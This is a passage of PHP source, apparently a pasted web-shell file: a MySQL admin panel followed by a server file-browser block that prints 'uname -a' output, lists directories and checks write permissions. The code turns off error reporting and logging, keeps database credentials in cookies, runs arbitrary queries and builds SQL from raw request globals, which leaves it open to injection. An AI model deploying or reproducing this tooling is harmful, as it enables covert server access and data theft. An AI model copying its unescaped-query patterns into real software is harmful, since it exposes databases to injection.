  748.             if( $field->primary_key == 1 )
  749.                 if( $field->numeric == 1 )
  750.                     $key .= $field->name . "=" . $GLOBALS[$field->name] . " AND ";
  751.                 else
  752.                     $key .= $field->name . "='" . $GLOBALS[$field->name] . "' AND ";
  753.         }
  754.         $key = substr( $key, 0, strlen($key)-4 );
  755.  
  756.         mysql_select_db( $dbname, $mysqlHandle );
  757.         $pResult = mysql_query( $queryStr =  "SELECT * FROM $tablename WHERE $key", $mysqlHandle );
  758.         $data = mysql_fetch_array( $pResult );
  759.     }
  760.  
  761.     echo "<p class=location>$dbname &gt; $tablename</p>\n";
  762.  
  763.     echo "<form action='$PHP_SELF' method=post>\n";
  764.     if( $cmd == "add" )
  765.         echo "<input type=hidden name=action value=addData_submit>\n";
  766.     else if( $cmd == "edit" )
  767.         echo "<input type=hidden name=action value=editData_submit>\n";
  768.     echo "<input type=hidden name=dbname value=$dbname>\n";
  769.     echo "<input type=hidden name=tablename value=$tablename>\n";
  770.     echo "<table cellspacing=1 cellpadding=2>\n";
  771.     echo "<tr>\n";
  772.     echo "<th>Name</th>\n";
  773.     echo "<th>Type</th>\n";
  774.     echo "<th>Function</th>\n";
  775.     echo "<th>Data</th>\n";
  776.     echo "</tr>\n";
  777.  
  778.     $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
  779.     $num = mysql_num_rows( $pResult );
  780.  
  781.     $pResultLen = mysql_list_fields( $dbname, $tablename );
  782.  
  783.     for( $i = 0; $i < $num; $i++ ) {
  784.         $field = mysql_fetch_array( $pResult );
  785.         $fieldname = $field["Field"];
  786.         $fieldtype = $field["Type"];
  787.         $len = mysql_field_len( $pResultLen, $i );
  788.  
  789.         echo "<tr>";
  790.         echo "<td>$fieldname</td>";
  791.         echo "<td>".$field["Type"]."</td>";
  792.         echo "<td>\n";
  793.         echo "<select name=${fieldname}_function>\n";
  794.         echo "<option>\n";
  795.         echo "<option>ASCII\n";
  796.         echo "<option>CHAR\n";
  797.         echo "<option>SOUNDEX\n";
  798.         echo "<option>CURDATE\n";
  799.         echo "<option>CURTIME\n";
  800.         echo "<option>FROM_DAYS\n";
  801.         echo "<option>FROM_UNIXTIME\n";
  802.         echo "<option>NOW\n";
  803.         echo "<option>PASSWORD\n";
  804.         echo "<option>PERIOD_ADD\n";
  805.         echo "<option>PERIOD_DIFF\n";
  806.         echo "<option>TO_DAYS\n";
  807.         echo "<option>USER\n";
  808.         echo "<option>WEEKDAY\n";
  809.         echo "<option>RAND\n";
  810.         echo "</select>\n";
  811.         echo "</td>\n";
  812.         $value = htmlspecialchars($data[$i]);
  813.         if( $cmd == "add" ) {
  814.             $type = strtok( $fieldtype, " (,)\n" );
  815.             if( $type == "enum" || $type == "set" ) {
  816.                 echo "<td>\n";
  817.                 if( $type == "enum" )
  818.                     echo "<select name=$fieldname>\n";
  819.                 else if( $type == "set" )
  820.                     echo "<select name=$fieldname size=4 multiple>\n";
  821.                 while( $str = strtok( "'" ) ) {
  822.                     echo "<option>$str\n";
  823.                     strtok( "'" );
  824.                 }
  825.                 echo "</select>\n";
  826.                 echo "</td>\n";
  827.             } else {
  828.                 if( $len < 40 )
  829.                     echo "<td><input type=text size=40 maxlength=$len name=$fieldname></td>\n";
  830.                 else
  831.                     echo "<td><textarea cols=40 rows=3 maxlength=$len name=$fieldname></textarea>\n";
  832.             }
  833.         } else if( $cmd == "edit" ) {
  834.             $type = strtok( $fieldtype, " (,)\n" );
  835.             if( $type == "enum" || $type == "set" ) {
  836.                 echo "<td>\n";
  837.                 if( $type == "enum" )
  838.                     echo "<select name=$fieldname>\n";
  839.                 else if( $type == "set" )
  840.                     echo "<select name=$fieldname size=4 multiple>\n";
  841.                 while( $str = strtok( "'" ) ) {
  842.                     if( $value == $str )
  843.                         echo "<option selected>$str\n";
  844.                     else
  845.                         echo "<option>$str\n";
  846.                     strtok( "'" );
  847.                 }
  848.                 echo "</select>\n";
  849.                 echo "</td>\n";
  850.             } else {
  851.                 if( $len < 40 )
  852.                     echo "<td><input type=text size=40 maxlength=$len name=$fieldname value=\"$value\"></td>\n";
  853.                 else
  854.                     echo "<td><textarea cols=40 rows=3 maxlength=$len name=$fieldname>$value</textarea>\n";
  855.             }
  856.         }
  857.         echo "</tr>";
  858.     }
  859.     echo "</table><p>\n";
  860.     if( $cmd == "add" )
  861.         echo "<input type=submit value='Add Data'>\n";
  862.     else if( $cmd == "edit" )
  863.         echo "<input type=submit value='Edit Data'>\n";
  864.     echo "<input type=button value='Cancel' onClick='history.back()'>\n";
  865.     echo "</form>\n";
  866. }
  867.  
  868. function manageData_submit( $cmd ) {
  869.     global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg;
  870.  
  871.     $pResult = mysql_list_fields( $dbname, $tablename );
  872.     $num = mysql_num_fields( $pResult );
  873.  
  874.     mysql_select_db( $dbname, $mysqlHandle );
  875.     if( $cmd == "add" )
  876.         $queryStr = "INSERT INTO $tablename VALUES (";
  877.     else if( $cmd == "edit" )
  878.         $queryStr = "REPLACE INTO $tablename VALUES (";
  879.     for( $i = 0; $i < $num-1; $i++ ) {
  880.         $field = mysql_fetch_field( $pResult );
  881.         $func = $GLOBALS[$field->name."_function"];
  882.         if( $func != "" )
  883.             $queryStr .= " $func(";
  884.         if( $field->numeric == 1 ) {
  885.             $queryStr .= $GLOBALS[$field->name];
  886.             if( $func != "" )
  887.                 $queryStr .= "),";
  888.             else
  889.                 $queryStr .= ",";
  890.         } else {
  891.             $queryStr .= "'" . $GLOBALS[$field->name];
  892.             if( $func != "" )
  893.                 $queryStr .= "'),";
  894.             else
  895.                 $queryStr .= "',";
  896.         }
  897.     }
  898.     $field = mysql_fetch_field( $pResult );
  899.     if( $field->numeric == 1 )
  900.         $queryStr .= $GLOBALS[$field->name] . ")";
  901.     else
  902.         $queryStr .= "'" . $GLOBALS[$field->name] . "')";
  903.  
  904.     mysql_query( $queryStr , $mysqlHandle );
  905.     $errMsg = mysql_error();
  906.  
  907.     viewData( "" );
  908. }
  909.  
  910. function deleteData() {
  911.     global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg;
  912.  
  913.     $pResult = mysql_list_fields( $dbname, $tablename );
  914.     $num = mysql_num_fields( $pResult );
  915.  
  916.     $key = "";
  917.     for( $i = 0; $i < $num; $i++ ) {
  918.         $field = mysql_fetch_field( $pResult, $i );
  919.         if( $field->primary_key == 1 )
  920.             if( $field->numeric == 1 )
  921.                 $key .= $field->name . "=" . $GLOBALS[$field->name] . " AND ";
  922.             else
  923.                 $key .= $field->name . "='" . $GLOBALS[$field->name] . "' AND ";
  924.     }
  925.     $key = substr( $key, 0, strlen($key)-4 );
  926.  
  927.     mysql_select_db( $dbname, $mysqlHandle );
  928.     $queryStr =  "DELETE FROM $tablename WHERE $key";
  929.     mysql_query( $queryStr, $mysqlHandle );
  930.     $errMsg = mysql_error();
  931.  
  932.     viewData( "" );
  933. }
  934.  
  935. function fetch_table_dump_sql($table)
  936. {
  937.     global $mysqlHandle,$dbname;
  938.    
  939.     mysql_select_db( $dbname, $mysqlHandle );
  940.     $query_id = mysql_query("SHOW CREATE TABLE $table",$mysqlHandle);
  941.     $tabledump = mysql_fetch_array($query_id, MYSQL_ASSOC);
  942.     $tabledump = "DROP TABLE IF EXISTS $table;\n" . $tabledump['Create Table'] . ";\n\n";
  943.  
  944.     echo $tabledump;
  945.  
  946.     // get data
  947.     $rows = mysql_query("SELECT * FROM $table",$mysqlHandle);
  948.     $numfields=mysql_num_fields($rows);
  949.     while ($row = mysql_fetch_array($rows, MYSQL_NUM))
  950.     {
  951.         $tabledump = "INSERT INTO $table VALUES(";
  952.  
  953.         $fieldcounter = -1;
  954.         $firstfield = 1;
  955.         // get each field's data
  956.         while (++$fieldcounter < $numfields)
  957.         {
  958.             if (!$firstfield)
  959.             {
  960.                 $tabledump .= ', ';
  961.             }
  962.             else
  963.             {
  964.                 $firstfield = 0;
  965.             }
  966.  
  967.             if (!isset($row["$fieldcounter"]))
  968.             {
  969.                 $tabledump .= 'NULL';
  970.             }
  971.             else
  972.             {
  973.                 $tabledump .= "'" . mysql_escape_string($row["$fieldcounter"]) . "'";
  974.             }
  975.         }
  976.  
  977.         $tabledump .= ");\n";
  978.  
  979.         echo $tabledump;
  980.  
  981.     }
  982.     @mysql_free_result($rows);
  983. }
  984.  
  985. function dump() {
  986.     global $mysqlHandle, $action, $dbname, $tablename;
  987.  
  988.     if( $action == "dumpTable" ){
  989.  
  990.         header("Content-disposition: filename=$tablename.sql");
  991.         header('Content-type: unknown/unknown');
  992.         fetch_table_dump_sql($tablename);
  993.         echo "\n\n\n";
  994.         echo "\r\n\r\n\r\n### $tablename TABLE DUMP COMPLETED ###";
  995.         exit;      
  996.                
  997.     }else{
  998.         header("Content-disposition: filename=$dbname.sql");
  999.         header('Content-type: unknown/unknown');
  1000.        
  1001.         mysql_select_db( $dbname, $mysqlHandle );
  1002.         $query_id = mysql_query("SHOW tables",$mysqlHandle);
  1003.         while ($row = mysql_fetch_array($query_id, MYSQL_NUM))
  1004.         {
  1005.                 fetch_table_dump_sql($row[0]);
  1006.                 echo "\n\n\n";
  1007.                 echo "\r\n\r\n\r\n### $row[0] TABLE DUMP COMPLETED ###";
  1008.                 echo "\n\n\n";
  1009.         }
  1010.         echo "\r\n\r\n\r\n### $dbname DATABASE DUMP COMPLETED ###";
  1011.         exit;      
  1012.  
  1013.     }
  1014.  
  1015. }
  1016.  
  1017. function utils() {
  1018.     global $PHP_SELF, $command;
  1019.     echo "<h1>Utilities</h1>\n";
  1020.     if( $command == "" || substr( $command, 0, 5 ) == "flush" ) {
  1021.         echo "<hr>\n";
  1022.         echo "Show\n";
  1023.         echo "<ul>\n";
  1024.         echo "<li><a href='$PHP_SELF?action=utils&command=show_status'>Status</a>\n";
  1025.         echo "<li><a href='$PHP_SELF?action=utils&command=show_variables'>Variables</a>\n";
  1026.         echo "<li><a href='$PHP_SELF?action=utils&command=show_processlist'>Processlist</a>\n";
  1027.         echo "</ul>\n";
  1028.         echo "Flush\n";
  1029.         echo "<ul>\n";
  1030.         echo "<li><a href='$PHP_SELF?action=utils&command=flush_hosts'>Hosts</a>\n";
  1031.         if( $command == "flush_hosts" ) {
  1032.             if( mysql_query( "Flush hosts" ) != false )
  1033.                 echo "<font size=2 color=red>- Success</font>";
  1034.             else
  1035.                 echo "<font size=2 color=red>- Fail</font>";
  1036.         }
  1037.         echo "<li><a href='$PHP_SELF?action=utils&command=flush_logs'>Logs</a>\n";
  1038.         if( $command == "flush_logs" ) {
  1039.             if( mysql_query( "Flush logs" ) != false )
  1040.                 echo "<font size=2 color=red>- Success</font>";
  1041.             else
  1042.                 echo "<font size=2 color=red>- Fail</font>";
  1043.         }
  1044.         echo "<li><a href='$PHP_SELF?action=utils&command=flush_privileges'>Privileges</a>\n";
  1045.         if( $command == "flush_privileges" ) {
  1046.             if( mysql_query( "Flush privileges" ) != false )
  1047.                 echo "<font size=2 color=red>- Success</font>";
  1048.             else
  1049.                 echo "<font size=2 color=red>- Fail</font>";
  1050.         }
  1051.         echo "<li><a href='$PHP_SELF?action=utils&command=flush_tables'>Tables</a>\n";
  1052.         if( $command == "flush_tables" ) {
  1053.             if( mysql_query( "Flush tables" ) != false )
  1054.                 echo "<font size=2 color=red>- Success</font>";
  1055.             else
  1056.                 echo "<font size=2 color=red>- Fail</font>";
  1057.         }
  1058.         echo "<li><a href='$PHP_SELF?action=utils&command=flush_status'>Status</a>\n";
  1059.         if( $command == "flush_status" ) {
  1060.             if( mysql_query( "Flush status" ) != false )
  1061.                 echo "<font size=2 color=red>- Success</font>";
  1062.             else
  1063.                 echo "<font size=2 color=red>- Fail</font>";
  1064.         }
  1065.         echo "</ul>\n";
  1066.     } else {
  1067.         $queryStr = ereg_replace( "_", " ", $command );
  1068.         $pResult = mysql_query( $queryStr );
  1069.         if( $pResult == false ) {
  1070.             echo "Fail";
  1071.             return;
  1072.         }
  1073.         $col = mysql_num_fields( $pResult );
  1074.  
  1075.         echo "<p class=location>$queryStr</p>\n";
  1076.         echo "<hr>\n";
  1077.  
  1078.         echo "<table cellspacing=1 cellpadding=2 border=0>\n";
  1079.         echo "<tr>\n";
  1080.         for( $i = 0; $i < $col; $i++ ) {
  1081.             $field = mysql_fetch_field( $pResult, $i );
  1082.             echo "<th>".$field->name."</th>\n";
  1083.         }
  1084.         echo "</tr>\n";
  1085.  
  1086.         while( 1 ) {
  1087.             $rowArray = mysql_fetch_row( $pResult );
  1088.             if( $rowArray == false ) break;
  1089.             echo "<tr>\n";
  1090.             for( $j = 0; $j < $col; $j++ )
  1091.                 echo "<td>".htmlspecialchars( $rowArray[$j] )."</td>\n";
  1092.             echo "</tr>\n";
  1093.         }
  1094.         echo "</table>\n";
  1095.     }
  1096. }
  1097.  
  1098. function header_html() {
  1099.     global $PHP_SELF;
  1100.    
  1101. echo '
  1102. <html>
  1103. <head>
  1104. <title>MySQL Interface</title>
  1105. <style type="text/css">
  1106. <!--
  1107. p.location {
  1108.     color: #11bb33;
  1109.     font-size: small;
  1110. }
  1111. h1 {
  1112.     color: #A4A260;
  1113. }
  1114. th {
  1115.     background-color: #BDBE42;
  1116.     color: #FFFFFF;
  1117.     font-size: x-small;
  1118. }
  1119. td {
  1120.     background-color: #DEDFA5;
  1121.     font-size: x-small;
  1122. }
  1123. form {
  1124.     margin-top: 0;
  1125.     margin-bottom: 0;
  1126. }
  1127. a {
  1128.     text-decoration:none;
  1129.     color: #848200;
  1130.     font-size:x-small;
  1131. }
  1132. a:link {
  1133. }
  1134. a:hover {
  1135.     background-color:#EEEFD5;
  1136.     color:#646200;
  1137.     text-decoration:none              
  1138. }
  1139. //-->
  1140. </style>
  1141. </head>
  1142. <body>
  1143. ';
  1144. }
  1145.  
  1146. function footer_html() {
  1147.     global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $USERNAME;
  1148.  
  1149.     echo "<hr>\n";
  1150.     echo "<font size=2 color=blue>[$USERNAME]</font> - \n";
  1151.  
  1152.     echo "<a href='$PHP_SELF?action=listDBs'>Database List</a> | \n";
  1153.     if( $tablename != "" )
  1154.         echo "<a href='$PHP_SELF?action=listTables&dbname=$dbname&tablename=$tablename'>Table List</a> | ";
  1155.     echo "<a href='$PHP_SELF?action=utils'>Utils</a> |\n";
  1156.     echo "<a href='$PHP_SELF?action=logout'>Logout</a>\n";
  1157.     echo "</font>\n";
  1158.     echo "</body>\n";
  1159.     echo "</html>\n";
  1160. }
  1161.  
  1162.  
  1163.  
  1164.  
  1165. //------------- MAIN ------------- //
  1166. error_reporting(0);
  1167. ini_set ('display_errors', 0);
  1168. ini_set ('log_errors', 0);
  1169.  
  1170. if( $action == "logon" || $action == "" || $action == "logout" )
  1171.     logon();
  1172. else if( $action == "logon_submit" )
  1173.     logon_submit();
  1174. else if( $action == "dumpTable" || $action == "dumpDB" ) {
  1175.     while( list($var, $value) = each($HTTP_COOKIE_VARS) ) {
  1176.         if( $var == "mysql_web_admin_username" ) $USERNAME = $value;
  1177.         if( $var == "mysql_web_admin_password" ) $PASSWORD = $value;
  1178.         if( $var == "mysql_web_admin_hostname" ) $HOSTNAME = $value;
  1179.     }
  1180.     $mysqlHandle = mysql_pconnect( $HOSTNAME, $USERNAME, $PASSWORD );
  1181.     dump();
  1182. } else {
  1183.     while( list($var, $value) = each($HTTP_COOKIE_VARS) ) {
  1184.         if( $var == "mysql_web_admin_username" ) $USERNAME = $value;
  1185.         if( $var == "mysql_web_admin_password" ) $PASSWORD = $value;
  1186.         if( $var == "mysql_web_admin_hostname" ) $HOSTNAME = $value;
  1187.     }
  1188.     echo "<!--";
  1189.     $mysqlHandle = mysql_pconnect( $HOSTNAME, $USERNAME, $PASSWORD );
  1190.     echo "-->";
  1191.  
  1192.     if( $mysqlHandle == false ) {
  1193.         echo "<html>\n";
  1194.         echo "<head>\n";
  1195.         echo "<title>MySQL Interface</title>\n";
  1196.         echo "</head>\n";
  1197.         echo "<body>\n";
  1198.         echo "<table width=100% height=100%><tr><td><center>\n";
  1199.         echo "<h1>Wrong Password!</h1>\n";
  1200.         echo "<a href='$PHP_SELF?action=logon'>Logon</a>\n";
  1201.         echo "</center></td></tr></table>\n";
  1202.         echo "</body>\n";
  1203.         echo "</html>\n";
  1204.     } else {
  1205.         header_html();
  1206.         if( $action == "listDBs" )
  1207.             listDatabases();
  1208.         else if( $action == "createDB" )
  1209.             createDatabase();
  1210.         else if( $action == "dropDB" )
  1211.             dropDatabase();
  1212.         else if( $action == "listTables" )
  1213.             listTables();
  1214.         else if( $action == "createTable" )
  1215.             createTable();
  1216.         else if( $action == "dropTable" )
  1217.             dropTable();
  1218.         else if( $action == "viewSchema" )
  1219.             viewSchema();
  1220.         else if( $action == "query" )
  1221.             viewData( $queryStr );
  1222.         else if( $action == "addField" )
  1223.             manageField( "add" );
  1224.         else if( $action == "addField_submit" )
  1225.             manageField_submit( "add" );
  1226.         else if( $action == "editField" )
  1227.             manageField( "edit" );
  1228.         else if( $action == "editField_submit" )
  1229.             manageField_submit( "edit" );
  1230.         else if( $action == "dropField" )
  1231.             dropField();
  1232.         else if( $action == "viewData" )
  1233.             viewData( "" );
  1234.         else if( $action == "addData" )
  1235.             manageData( "add" );
  1236.         else if( $action == "addData_submit" )
  1237.             manageData_submit( "add" );
  1238.         else if( $action == "editData" )
  1239.             manageData( "edit" );
  1240.         else if( $action == "editData_submit" )
  1241.             manageData_submit( "edit" );
  1242.         else if( $action == "deleteData" )
  1243.             deleteData();
  1244.         else if( $action == "utils" )
  1245.             utils();
  1246.  
  1247.         mysql_close( $mysqlHandle);
  1248.         footer_html();
  1249.     }
  1250. }
  1251. ?>
  1252. <p align="left"><b>uname -a:&nbsp;<?php echo wordwrap(php_uname(),90,"<br>",1); ?></b>&nbsp;</p>
  1253. <?php
  1254. $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  1255. if (empty($d)) {$d = realpath(".");} elseif(realpath($d)) {$d = realpath($d);}
  1256. $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  1257. if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  1258. $d = str_replace("\\\\","\\",$d);
  1259. $dispd = htmlspecialchars($d);
  1260. $pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1));
  1261. $i = 0;
  1262. foreach($pd as $b)
  1263. {
  1264.  $t = "";
  1265.  $j = 0;
  1266.  foreach ($e as $r)
  1267.  {
  1268.   $t.= $r.DIRECTORY_SEPARATOR;
  1269.   if ($j == $i) {break;}
  1270.   $j++;
  1271.  }
  1272.  echo "<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\"><b>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</b></a>";
  1273.  $i++;
  1274. }
  1275. echo "&nbsp;&nbsp;&nbsp;";
  1276. if (is_writable($d))
  1277. {
  1278.  $wd = TRUE;
  1279.  $wdt = "<font color=green>[ ok ]</font>";
  1280.  echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>";
  1281. }
  1282. ?>
Advertisement
Add Comment
Please, Sign In to add comment